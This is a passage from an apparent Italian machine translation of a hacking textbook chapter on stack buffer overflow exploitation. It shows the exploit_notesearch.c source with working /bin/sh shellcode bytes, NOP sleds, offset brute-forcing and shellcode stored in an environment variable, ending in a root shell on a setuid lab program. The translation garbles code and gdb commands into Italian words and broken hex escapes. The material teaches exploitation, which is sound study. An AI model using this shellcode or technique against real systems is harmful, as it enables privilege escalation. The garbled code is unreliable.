[DOPO] il valore è a 0xbffff7f4 ed è -559038737 (0xdeadbeef)
lettore @ hacking: ~ / booksrc $

Questa tecnica può essere applicata per sovrascrivere l'indirizzo del mittente nel file
programma auth_overflow2.c con un valore esatto. Nell'esempio seguente, lo faremo
sovrascrivere l'indirizzo del mittente con un indirizzo diverso in main () .

reader @ hacking: ~ / booksrc $ gcc -g -o auth_overflow2 auth_overflow2.c


lettore @ hacking: ~ / booksrc $ gdb -q ./auth_overflow2
Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disass main
Dump del codice assembler per la funzione main:
0x08048474 <main + 0>: push ebp
0x08048475 <principale + 1>: mov ebp, esp
0x08048477 <principale + 3>: sub esp, 0x8
0x0804847a <main + 6>: ed esp, 0xfffffff0
0x0804847d <main + 9>: mov eax, 0x0
0x08048482 <main + 14>: sub esp, eax
0x08048484 <main + 16>: cmp DWORD PTR [ebp + 8], 0x1
0x08048488 <principale + 20>: jg 0x80484ab <principale + 55>
0x0804848a <main + 22>: mov eax, DWORD PTR [ebp + 12]

Sfruttamento 135

Pagina 150

0x0804848d <main + 25>: mov eax, DWORD PTR [eax]


0x0804848f <main + 27>: mov DWORD PTR [esp + 4], eax
0x08048493 <main + 31>: mov DWORD PTR [esp], 0x80485e5
0x0804849a <main + 38>: chiama 0x804831c <printf @ plt>
0x0804849f <main + 43>: mov DWORD PTR [esp], 0x0
0x080484a6 <main + 50>: chiama 0x804833c <exit @ plt>
0x080484ab <main + 55>: mov eax, DWORD PTR [ebp + 12]
0x080484ae <main + 58>: aggiungi eax, 0x4
0x080484b1 <main + 61>: mov eax, DWORD PTR [eax]
0x080484b3 <main + 63>: mov DWORD PTR [esp], eax
0x080484b6 <main + 66>: chiama 0x8048414 <check_authentication>
0x080484bb <main + 71>: test eax, eax
0x080484bd <main + 73>: je 0x80484e5 <main + 113>
0x080484bf <main + 75>: mov DWORD PTR [esp], 0x80485fb
0x080484c6 <main + 82>: chiama 0x804831c <printf @ plt>
0x080484cb <main + 87>: mov DWORD PTR [esp], 0x8048619
0x080484d2 <main + 94>: chiama 0x804831c <printf @ plt>
0x080484d7 <principale + 99>: mov DWORD PTR [esp], 0x8048630
0x080484de <main + 106>: chiama 0x804831c <printf @ plt>
0x080484e3 <main + 111>: jmp 0x80484f1 <main + 125>
0x080484e5 <main + 113>: mov DWORD PTR [esp], 0x804864d
0x080484ec <main + 120>: chiama 0x804831c <printf @ plt>
0x080484f1 <main + 125>: abbandona
0x080484f2 <principale + 126>: ret
Fine del dump dell'assemblatore.
(gdb)

Questa sezione di codice visualizzata in grassetto contiene le istruzioni visualizzate


il messaggio Accesso concesso . L'inizio di questa sezione è a 0x080484bf ,
quindi se l'indirizzo di ritorno viene sovrascritto con questo valore, questo blocco di istruzioni
saranno eseguite. La distanza esatta tra l'indirizzo del mittente e
l'inizio di password_buffer può cambiare a causa delle diverse versioni del compilatore
e diversi flag di ottimizzazione. Finché l'inizio del buffer è allineato
con DWORD in pila, questa mutabilità può essere spiegata semplicemente
ripetendo più volte l'indirizzo del mittente. In questo modo, almeno una delle istanze
sovrascriverà l'indirizzo del mittente, anche se è stato spostato a causa del compilatore
ottimizzazioni.

lettore @ hacking: ~ / booksrc $ ./auth_overflow2 $ (perl -e 'print "\ xbf \ x84 \ x04 \ x08" x10')

-=-=-=-=-=-=-=-=-=-=-=-=-=-
Accesso garantito.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Errore di segmentazione (core dump)
lettore @ hacking: ~ / booksrc $

Nell'esempio precedente, l'indirizzo di destinazione di 0x080484bf viene ripetuto 10 volte


per garantire che l'indirizzo del mittente venga sovrascritto con il nuovo indirizzo di destinazione. quando
la funzione check_authentication () ritorna, l'esecuzione passa direttamente al file
nuovo indirizzo di destinazione invece di tornare all'istruzione successiva dopo la chiamata.
Questo ci dà più controllo; tuttavia, siamo ancora limitati all'utilizzo delle istruzioni
che esistono nella programmazione originale.

136 0x300

Pagina 151

Il programma notesearch è vulnerabile a un overflow del buffer sulla linea


contrassegnato in grassetto qui.

int main (int argc, char * argv []) {


int userid, stampa = 1, fd; // Descrittore di file
char searchstring [100];

if (argc> 1) // Se è presente un arg


strcpy (stringa di ricerca, argv [1]); // questa è la stringa di ricerca;
altro // altrimenti,
stringa di ricerca [0] = 0; // la stringa di ricerca è vuota.

L'exploit notesearch utilizza una tecnica simile per sovraccaricare un buffer in


l'indirizzo di ritorno; tuttavia, inietta anche le proprie istruzioni in memoria
e quindi restituisce l'esecuzione lì. Queste istruzioni sono chiamate codice shell e
dicono al programma di ripristinare i privilegi e di aprire un prompt della shell. Questo è
particolarmente devastante per il programma notesearch, poiché è suid root. Da
questo programma si aspetta un accesso multiutente, quindi funziona con privilegi più elevati
accedere al suo file di dati, ma la logica del programma impedisce all'utente di utilizzarli
privilegi più elevati per qualsiasi cosa diversa dall'accesso al file di dati, almeno
questa è l'intenzione.
Ma quando nuove istruzioni possono essere inserite e l'esecuzione può essere
controllato con un buffer overflow, la logica del programma è priva di significato. Questo
tecnica consente al programma di fare cose per cui non è mai stato programmato,
mentre è ancora in esecuzione con privilegi elevati. Questa è la pericolosa combinazione
che consente all'exploit di notesearch di ottenere una shell di root. Esaminiamo il file
sfruttare ulteriormente.

reader @ hacking: ~ / booksrc $ gcc -g exploit_notesearch.c


lettore @ hacking: ~ / booksrc $ gdb -q ./a.out
Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) elenco 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4 caratteri shellcode [] =
5 "\ x31 \ xc0 \ x31 \ xdb \ x31 \ xc9 \ x99 \ xb0 \ xa4 \ xcd \ x80 \ x6a \ x0b \ x58 \ x51 \ x68"
6 "\ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x51 \ x89 \ xe2 \ x53 \ x89"
7 "\ xe1 \ xcd \ x80";
8
9 int main (int argc, char * argv []) {
10 unsigned int i, * ptr, ret, offset = 270;
(gdb)
11 char * comando, * buffer;
12
13 comando = (char *) malloc (200);
14 bzero (comando, 200); // Azzera la nuova memoria.
15
16 strcpy (comando, "./notesearch \ '"); // Avvia il buffer dei comandi.
17 buffer = comando + strlen (comando); // Imposta il buffer alla fine.
18
19 if (argc> 1) // Imposta offset.

Sfruttamento 137

Pagina 152
20 offset = atoi (argv [1]);
(gdb)
21
22 ret = (unsigned int) & i - offset; // Imposta l'indirizzo di ritorno.
23
24 for (i = 0; i <160; i + = 4) // Riempi il buffer con l'indirizzo di ritorno.
25 * ((unsigned int *) (buffer + i)) = ret;
26 memset (buffer, 0x90, 60); // Costruisci la slitta NOP.
27 memcpy (buffer + 60, shellcode, sizeof (shellcode) -1);
28
29 strcat (comando, "\ '");
30
(gdb) pausa 26
Breakpoint 1 in 0x80485fa: file exploit_notesearch.c, riga 26.
(gdb) pausa 27
Breakpoint 2 a 0x8048615: file exploit_notesearch.c, riga 27.
(gdb) break 28
Breakpoint 3 in 0x8048633: file exploit_notesearch.c, riga 28.
(gdb)

L'exploit notesearch genera un buffer nelle righe dalla 24 alla 27 (mostrato


sopra in grassetto). La prima parte è un ciclo for che riempie il buffer con un 4 byte
indirizzo memorizzato nella variabile ret . Il ciclo incrementa i di 4 ogni volta. Questo
il valore viene aggiunto all'indirizzo del buffer e il tutto è typecast come file
puntatore intero senza segno. Questo ha una dimensione di 4, quindi quando l'intera cosa è
dereferenziato, viene scritto l'intero valore a 4 byte trovato in ret .

(gdb) esegui
Avvio del programma: /home/reader/booksrc/a.out

Breakpoint 1, main (argc = 1, argv = 0xbffff894) in exploit_notesearch.c: 26


26 memset (buffer, 0x90, 60); // costruisce NOP sled
(gdb) x / 40x buffer
0x804a016: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
0x804a026: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
0x804a036: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
0x804a046: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
0x804a056: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
0x804a066: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
0x804a076: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
0x804a086: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
0x804a096: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
0x804a0a6: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
(gdb) x / s comando
0x804a008: "./notesearch
'¶Ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿ûÿ¿¶û¿¶ ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶û
?"
(gdb)

Al primo punto di interruzione, il puntatore del buffer mostra il risultato di for


ciclo continuo. Puoi anche vedere la relazione tra il puntatore del comando e
il puntatore del buffer. L'istruzione successiva è una chiamata a memset () , che inizia in
all'inizio del buffer e imposta 60 byte di memoria con il valore 0x90 .

138 0x300

Pagina 153

(gdb) cont
Continuando.

Breakpoint 2, main (argc = 1, argv = 0xbffff894) in exploit_notesearch.c: 27


27 memcpy (buffer + 60, shellcode, sizeof (shellcode) -1);
(gdb) x / 40x buffer
0x804a016: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a026: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a036: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a046: 0x90909090 0x90909090 0x90909090 0xbffff6f6
0x804a056: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
0x804a066: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
0x804a076: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
0x804a086: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
0x804a096: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
0x804a0a6: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
(gdb) x / s comando
0x804a008: "./notesearch '",' \ 220 '<si ripete 60 volte>, "¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿ûÿ¿
¶Ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿ ¿"
(gdb)

Infine, la chiamata a memcpy () copierà i byte dello shellcode nel buffer + 60 .

(gdb) cont
Continuando.

Breakpoint 3, main (argc = 1, argv = 0xbffff894) in exploit_notesearch.c: 29


29 strcat (comando, "\ '");
(gdb) x / 40x buffer
0x804a016: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a026: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a036: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a046: 0x90909090 0x90909090 0x90909090 0x3158466a
0x804a056: 0xcdc931db 0x2f685180 0x6868732f 0x6e69622f
0x804a066: 0x5351e389 0xb099e189 0xbf80cd0b 0xbffff6f6
0x804a076: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
0x804a086: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
0x804a096: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
0x804a0a6: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6
(gdb) x / s comando
0x804a008: "./notesearch '",' \ 220 '<si ripete 60 volte>, "1À1Û1É \ 231 ° ¤Í \ 200j \ vXQh // shh /
bin \ 211ãQ \ 211âS \ 211áÍ \ 200¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿ûÿ¿¶ûÿ¿¶ ûÿ¿¶ûÿ¿¶ûÿ¿ "
(gdb)

Ora il buffer contiene lo shellcode desiderato ed è abbastanza lungo da superare


scrivi l'indirizzo del mittente. La difficoltà di trovare la posizione esatta del file
l'indirizzo del mittente viene semplificato utilizzando la tecnica dell'indirizzo del mittente ripetuto. Ma
questo indirizzo di ritorno deve puntare allo shellcode situato nello stesso buffer.
Ciò significa che l'indirizzo effettivo deve essere conosciuto in anticipo, prima ancora
va nella memoria. Questa può essere una previsione difficile da provare a fare con un file
stack che cambia dinamicamente. Fortunatamente, esiste un'altra tecnica di hacking,

Sfruttamento 139

Pagina 154

chiamato la slitta NOP, che può aiutare con questo difficile imbroglio. NOP è un file
istruzioni di montaggio che è breve per nessuna operazione . È un'istruzione a byte singolo
che non fa assolutamente nulla. Queste istruzioni sono talvolta utilizzate per sprecare
cicli di calcolo per scopi di temporizzazione e sono effettivamente necessari in
Architettura del processore Sparc, grazie al pipelining delle istruzioni. In questo caso, NOP
le istruzioni verranno utilizzate per uno scopo diverso: come fattore di confusione.
Creeremo un ampio array (o slitta) di queste istruzioni NOP e lo posizioneremo
prima dello shellcode; quindi, se il registro EIP punta a un indirizzo trovato in
la slitta NOP, incrementerà durante l'esecuzione di ciascuna istruzione NOP, una in
una volta, finché non raggiunge finalmente lo shellcode. Ciò significa che fintanto che il file
l'indirizzo di ritorno viene sovrascritto con qualsiasi indirizzo trovato nella slitta NOP, l'EIP
register farà scorrere la slitta verso lo shellcode, che verrà eseguito correttamente.
Sull'architettura x 86, l'istruzione NOP è equivalente al byte esadecimale
0x90. Ciò significa che il nostro buffer di exploit completato ha un aspetto simile a questo:

Slitta NOP Shellcode Indirizzo di restituzione ripetuto

Anche con una slitta NOP, la posizione approssimativa del buffer in memoria
deve essere previsto in anticipo. Una tecnica per approssimare la memoria
location consiste nell'usare una posizione dello stack vicina come quadro di riferimento. Per sottrazione
ing un offset da questa posizione, l'indirizzo relativo di qualsiasi variabile può essere
ottenuto.

Da exploit_notesearch.c

unsigned int i, * ptr, ret, offset = 270;


char * comando, * buffer;

comando = (char *) malloc (200);


bzero (comando, 200); // Azzera la nuova memoria.

strcpy (comando, "./notesearch \ '"); // Avvia il buffer dei comandi.


buffer = comando + strlen (comando); // Imposta il buffer alla fine.

if (argc> 1) // Imposta offset.


offset = atoi (argv [1]);

ret = (unsigned int) & i - offset; // Imposta l'indirizzo di ritorno.

Nell'exploit notesearch, l'indirizzo della variabile i nello stack di main ()


frame viene utilizzato come punto di riferimento. Quindi viene sottratto un offset da quello
valore; il risultato è l'indirizzo di ritorno di destinazione. Questo offset era stato precedentemente scoraggiato
minato per essere 270, ma come viene calcolato questo numero?
Il modo più semplice per determinare questo offset è sperimentalmente. Il debugger
sposterà leggermente la memoria e abbandonerà i privilegi quando il suid
il programma di root notesearch viene eseguito, rendendo il debug molto meno utile
in questo caso.

140 0x300

Pagina 155

Poiché l'exploit notesearch consente un argomento della riga di comando opzionale


per definire l'offset, è possibile testare rapidamente diversi offset.

reader @ hacking: ~ / booksrc $ gcc exploit_notesearch.c


lettore @ hacking: ~ / booksrc $ ./a.out 100
------- [dati di fine nota] -------
lettore @ hacking: ~ / booksrc $ ./a.out 200
------- [dati di fine nota] -------
lettore @ hacking: ~ / booksrc $

Tuttavia, farlo manualmente è noioso e stupido. BASH ha anche un per


loop che può essere utilizzato per automatizzare questo processo. Il comando seq è un semplice
programma che genera sequenze di numeri, che viene tipicamente utilizzato con
looping.

reader @ hacking: ~ / booksrc $ seq 1 10


1
2
3
4
5
6
7
8
9
10
reader @ hacking: ~ / booksrc $ seq 1 3 10
1
4
7
10
lettore @ hacking: ~ / booksrc $
Quando vengono utilizzati solo due argomenti, tutti i numeri del primo argomento
vengono generati al secondo. Quando vengono utilizzati tre argomenti, il centro
l'argomento determina quanto incrementare ogni volta. Questo può essere utilizzato con
sostituzione del comando per guidare il ciclo for di BASH.

reader @ hacking: ~ / booksrc $ for i in $ (seq 1 3 10)


> fare
> echo Il valore è $ i
> fatto
Il valore è 1
Il valore è 4
Il valore è 7
Il valore è 10
lettore @ hacking: ~ / booksrc $

Sfruttamento 141

Pagina 156

La funzione del ciclo for dovrebbe essere familiare, anche se la sintassi è a


poco diverso. La variabile di shell $ i itera attraverso tutti i valori trovati in
gli accenti gravi (generati da seq ). Poi tutto tra il fare e
le parole chiave done vengono eseguite. Questo può essere utilizzato per testare rapidamente molti diversi
offset. Poiché la slitta NOP è lunga 60 byte, e possiamo tornare ovunque
la slitta, ci sono circa 60 byte di spazio di manovra. Possiamo tranquillamente incrementare il file
offset loop con un passo di 30 senza pericolo di perdere la slitta.

reader @ hacking: ~ / booksrc $ for i in $ (seq 0 30300)


> fare
> echo Tentativo di offset $ i
> ./a.out $ i
> fatto
Tentativo di offset 0
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999

Quando viene utilizzato l'offset destro, l'indirizzo del mittente viene sovrascritto con un
valore che punta da qualche parte sulla slitta NOP. Quando l'esecuzione tenta di tornare
in quella posizione, scorrerà semplicemente lungo la slitta NOP nello shellcode iniettato
Istruzioni. Questo è il modo in cui è stato scoperto il valore di offset predefinito.

0x331 Utilizzo dell'ambiente


A volte un buffer sarà troppo piccolo per contenere anche lo shellcode. Fortunatamente lì
sono altre posizioni nella memoria in cui lo shellcode può essere nascosto. Ambiente
le variabili sono usate dalla shell dell'utente per una varietà di cose, ma per quello che sono
usato per non è importante quanto il fatto che si trovano sulla pila e possono
essere impostato dalla shell. L'esempio seguente imposta una variabile di ambiente chiamata
MYVAR al test delle stringhe . È possibile accedere a questa variabile d'ambiente anteponendo-
ing un segno di dollaro al suo nome. Inoltre, il comando env mostrerà tutti i file
variabili ambientali. Notare che ci sono diverse variabili d'ambiente predefinite
ables già impostati.

lettore @ hacking: ~ / booksrc $ export MYVAR = test


lettore @ hacking: ~ / booksrc $ echo $ MYVAR
test
lettore @ hacking: ~ / booksrc $ env
SSH_AGENT_PID = 7531
SHELL = / bin / bash
DESKTOP_STARTUP_ID =
TERM = xterm
GTK_RC_FILES = / etc / gtk / gtkrc: /home/reader/.gtkrc-1.2-gnome2
WINDOWID = 39845969
OLDPWD = / home / reader
USER = lettore
LS_COLORS = no = 00: fi = 00: di = 01; 34: ln = 01; 36: pi = 40; 33: so = 01; 35: do = 01; 35: bd = 40; 33; 01: cd = 40; 33; 01: o = 4
0; 31; 01: su = 37; 41: sg = 30; 43: tw = 30; 42: ow = 34; 42: st = 37; 44: ex = 01; 32: *. Tar = 01; 31: * .tgz = 01; 31: *. arj = 01;
31: *. Taz = 01; 31: *. Lzh = 01; 31: *. Zip = 01; 31: *. Z = 01; 31: *. Z = 01; 31: *. Gz = 01; 31: * .bz2 = 01; 31: *. deb = 01; 31: *
.rpm = 01; 31: *. jar = 01; 31: *. jpg = 01; 35: *. jpeg = 01; 35: *. gif = 01; 35: *. bmp = 01; 35: *. pbm = 01; 35: *. Pgm = 01; 35
: *. ppm = 01; 35: *. tga = 01; 35: *. xbm = 01; 35: *. xpm = 01; 35: *. tif = 01; 35: *. tiff = 01; 35: * .png = 01; 35: *. mov = 01;

142 0x300

Pagina 157

35: *. Mpg = 01; 35: *. Mpeg = 01; 35: *. Avi = 01; 35: *. Fli = 01; 35: *. Gl = 01; 35: *. Dl = 01; 35: * .xcf = 01; 35: *. xwd = 01;
35: *. Flac = 01; 35: *. Mp3 = 01; 35: *. Mpc = 01; 35: *. Ogg = 01; 35: *. Wav = 01; 35:
SSH_AUTH_SOCK = / tmp / ssh-EpSEbS7489 / agent.7489
GNOME_KEYRING_SOCKET = / tmp / portachiavi-AyzuEi / socket
SESSION_MANAGER = local / hacking: /tmp/.ICE-unix/7489
USERNAME = lettore
DESKTOP_SESSION = default.desktop
PERCORSO = / usr / local / sbin: / usr / local / bin: / usr / sbin: / usr / bin: / sbin: / bin: / usr / games
GDM_XSERVER_LOCATION = locale
PWD = / home / reader / booksrc
LANG = en_US.UTF-8
GDMSESSION = default.desktop
HISTCONTROL = ignora entrambi
HOME = / home / lettore
SHLVL = 1
GNOME_DESKTOP_SESSION_ID = Predefinito
LOGNAME = lettore
DBUS_SESSION_BUS_ADDRESS = unix: abstract = / tmp / dbus-
DxW6W1OH1O, guid = 4f4e0e9cc6f68009a059740046e28e35
MENO APERTO = | / usr / bin / lesspipe% s
DISPLAY =: 0.0
MYVAR = test
MENO CHIUDI = / usr / bin / lesspipe% s% s
RUNNING_UNDER_GDM = sì
COLORTERM = gnome-terminal
XAUTHORITY = / home / reader / .Xauthority
_ = / usr / bin / env
lettore @ hacking: ~ / booksrc $

Allo stesso modo, lo shellcode può essere inserito in una variabile d'ambiente, ma
prima deve essere in una forma che possiamo facilmente manipolare. Lo shellcode da
può essere utilizzato l'exploit notesearch; dobbiamo solo metterlo in un file in binario
modulo. Gli strumenti shell standard di head , grep e cut possono essere usati per isolare solo
i byte espansi esadecimali dello shellcode.

lettore @ hacking: ~ / booksrc $ head exploit_notesearch.c


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode [] =
"\ x31 \ xc0 \ x31 \ xdb \ x31 \ xc9 \ x99 \ xb0 \ xa4 \ xcd \ x80 \ x6a \ x0b \ x58 \ x51 \ x68"
"\ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x51 \ x89 \ xe2 \ x53 \ x89"
"\ xe1 \ xcd \ x80";

int main (int argc, char * argv []) {


unsigned int i, * ptr, ret, offset = 270;
lettore @ hacking: ~ / booksrc $ head exploit_notesearch.c | grep "^ \" "
"\ x31 \ xc0 \ x31 \ xdb \ x31 \ xc9 \ x99 \ xb0 \ xa4 \ xcd \ x80 \ x6a \ x0b \ x58 \ x51 \ x68"
"\ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x51 \ x89 \ xe2 \ x53 \ x89"
"\ xe1 \ xcd \ x80";
lettore @ hacking: ~ / booksrc $ head exploit_notesearch.c | grep "^ \" "| cut -d \" -f2
\ x31 \ xc0 \ x31 \ xdb \ x31 \ xc9 \ x99 \ xb0 \ xa4 \ xcd \ x80 \ x6a \ x0b \ x58 \ x51 \ x68

Sfruttamento 143

Pagina 158

\ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x51 \ x89 \ xe2 \ x53 \ x89
\ xe1 \ xcd \ x80
lettore @ hacking: ~ / booksrc $

Le prime 10 righe del programma vengono convogliate in grep , che mostra solo il file
righe che iniziano con virgolette. Questo isola le righe che contengono
lo shellcode, che viene quindi convogliato in taglio utilizzando le opzioni per visualizzare solo il file
byte tra due virgolette.
Il ciclo for di BASH può effettivamente essere utilizzato per inviare ciascuna di queste righe a un file
comando echo , con opzioni della riga di comando per riconoscere l'espansione esadecimale e
per sopprimere l'aggiunta di un carattere di nuova riga alla fine.

reader @ hacking: ~ / booksrc $ for i in $ (head exploit_notesearch.c | grep "^ \" "| cut -d \" -f2)
> fare
> echo -en $ i
> fatto> shellcode.bin
lettore @ hacking: ~ / booksrc $ hexdump -C shellcode.bin
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 | 1.1.1 ...... j.XQh |
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 | //shh/bin..Q..S. |
00000020 e1 cd 80 | ... |
00000023
lettore @ hacking: ~ / booksrc $

Ora abbiamo lo shellcode in un file chiamato shellcode.bin. Questo può essere utilizzato
con la sostituzione del comando per mettere lo shellcode in una variabile d'ambiente,
insieme ad una generosa slitta NOP.

reader @ hacking: ~ / booksrc $ export SHELLCODE = $ (perl -e 'print "\ x90" x200') $ (cat shellcode.bin)
lettore @ hacking: ~ / booksrc $ echo $ SHELLCODE

111 j
XQh // shh / bin QS
lettore @ hacking: ~ / booksrc $

E proprio così, lo shellcode è ora in pila in un ambiente


variabile, insieme a uno sled NOP da 200 byte. Ciò significa che dobbiamo solo trovare
un indirizzo da qualche parte in quella gamma della slitta per sovrascrivere il ritorno salvato
indirizzo con. Le variabili di ambiente si trovano nella parte inferiore del file
stack, quindi è qui che dovremmo guardare quando eseguiamo notesearch in un debugger.

reader @ hacking: ~ / booksrc $ gdb -q ./notesearch


Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) break main
Punto di interruzione 1 a 0x804873c
(gdb) esegui
Avvio del programma: / home / reader / booksrc / notesearch

Breakpoint 1, 0x0804873c in main ()


(gdb)

144 0x300

Pagina 159
Viene impostato un punto di interruzione all'inizio di main () e il programma viene eseguito.
Questo imposterà la memoria per il programma, ma si fermerà prima di tutto
accade. Ora possiamo esaminare la memoria verso il fondo dello stack.

(gdb) ir esp
esp 0xbffff660 0xbffff660
(gdb) x / 24s $ esp + 0x240
0xbffff8a0: ""
0xbffff8a1: ""
0xbffff8a2: ""
0xbffff8a3: ""
0xbffff8a4: ""
0xbffff8a5: ""
0xbffff8a6: ""
0xbffff8a7: ""
0xbffff8a8: ""
0xbffff8a9: ""
0xbffff8aa: ""
0xbffff8ab: "i686"
0xbffff8b0: "/ home / reader / booksrc / notesearch"
0xbffff8d0: "SSH_AGENT_PID = 7531"
0xbffffd56: "SHELLCODE =", "\ 220" <si ripete 190 volte> ...
0xbffff9ab: "\ 220 \ 220 \ 220 \ 220 \ 220 \ 220 \ 220 \ 220 \ 220 \ 2201�1�1� \ 231��� \ 200j \ vXQh //
shh / bin \ 211�Q \ 211�S \ 211�� \ 200 "
0xbffff9d9: "TERM = xterm"
0xbffff9e4: "DESKTOP_STARTUP_ID ="
0xbffff9f8: "SHELL = / bin / bash"
0xbffffa08: "GTK_RC_FILES = / etc / gtk / gtkrc: /home/reader/.gtkrc-1.2-gnome2"
0xbffffa43: "WINDOWID = 39845969"
0xbffffa55: "USER = lettore"
0xbffffa61:
"LS_COLORS = no = 00: fi = 00: di = 01; 34: ln = 01; 36: pi = 40; 33: so = 01; 35: do = 01; 35: bd = 40; 33; 01: cd = 40; 33; 01: o =
40; 31; 01: su = 37; 41: sg = 30; 43: tw = 30; 42: ow = 34; 42: st = 37; 44: ex = 01; 32: *. Tar = 01; 31: * .tgz = 01; 31: *. arj = 01
; 31: *. Taz = 0 "...
0xbffffb29:
"1; 31: *. Lzh = 01; 31: *. Zip = 01; 31: *. Z = 01; 31: *. Z = 01; 31: *. Gz = 01; 31: *. Bz2 = 01 ; 31: *. Deb = 01; 31: *. Rpm = 01; 3
1: *. Jar = 01; 31: *. Jpg = 01; 35: *. Jpeg = 01; 35: *. Gif = 01; 35: *. Bmp = 01; 35: *. Pbm = 01; 35: * .pgm = 01; 35: *. ppm = 01
; 35: *. Tga = 0 "...
(gdb) x / s 0xbffff8e3
0xbffff8e3: "SHELLCODE =", "\ 220" <si ripete 190 volte> ...
(gdb) x / s 0xbffff8e3 + 100
0xbffff947: "\ 220" <si ripete 110 volte>, "1�1�1� \ 231��� \ 200j \ vXQh // shh / bin \
211�Q \ 211�S \ 211�� \ 200 "
(gdb)

Il debugger rivela la posizione dello shellcode, mostrato in grassetto sopra.


(Quando il programma viene eseguito al di fuori del debugger, questi indirizzi potrebbero
essere leggermente diverso.) Il debugger ha anche alcune informazioni nello stack,
che sposta un po 'gli indirizzi. Ma con una slitta NOP da 200 byte, questi
le incongruenze non sono un problema se lo è un indirizzo vicino al centro della slitta
raccolto. Nell'output precedente, l'indirizzo 0xbffff947 è vicino al file
al centro della slitta NOP, che dovrebbe darci abbastanza spazio di manovra. Dopo
determinando l'indirizzo delle istruzioni shellcode iniettate, l'exploit
si tratta semplicemente di sovrascrivere l'indirizzo del mittente con questo indirizzo.

Sfruttamento 145

Pagina 160

lettore @ hacking: ~ / booksrc $ ./notesearch $ (perl -e 'print "\ x47 \ xf9 \ xff \ xbf" x40')
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999
------- [dati di fine nota] -------
sh-3.2 # whoami
radice
sh-3.2 #

L'indirizzo di destinazione viene ripetuto abbastanza volte da sovraccaricare l'indirizzo di ritorno,


e l'esecuzione ritorna nel NOP sled nella variabile d'ambiente, che
porta inevitabilmente allo shellcode. In situazioni in cui il buffer di overflow non lo è
abbastanza grande da contenere shellcode, una variabile d'ambiente può essere usata con
una grande slitta NOP. Questo di solito rende gli exploit un po 'più facili.
Un'enorme slitta NOP è un grande aiuto quando devi indovinare il bersaglio
indirizzi di ritorno, ma risulta che le posizioni delle variabili di ambiente
sono più facili da prevedere rispetto alle posizioni delle variabili dello stack locale. Nello standard di C.
libreria c'è una funzione chiamata getenv () , che accetta il nome di un ambiente
ment come unico argomento e restituisce l'indirizzo di memoria di quella variabile.
Il codice in getenv_example.c dimostra l'uso di getenv () .

getenv_example.c

#include <stdio.h>
#include <stdlib.h>

int main (int argc, char * argv []) {


printf ("% s è in% p \ n", argv [1], getenv (argv [1]));
}

Quando compilato ed eseguito, questo programma mostrerà la posizione di un dato


variabile d'ambiente nella sua memoria. Questo fornisce un'immagine molto più precisa
previsione di dove si troverà la stessa variabile di ambiente quando l'obiettivo
il programma viene eseguito.

reader @ hacking: ~ / booksrc $ gcc getenv_example.c


lettore @ hacking: ~ / booksrc $ ./a.out SHELLCODE
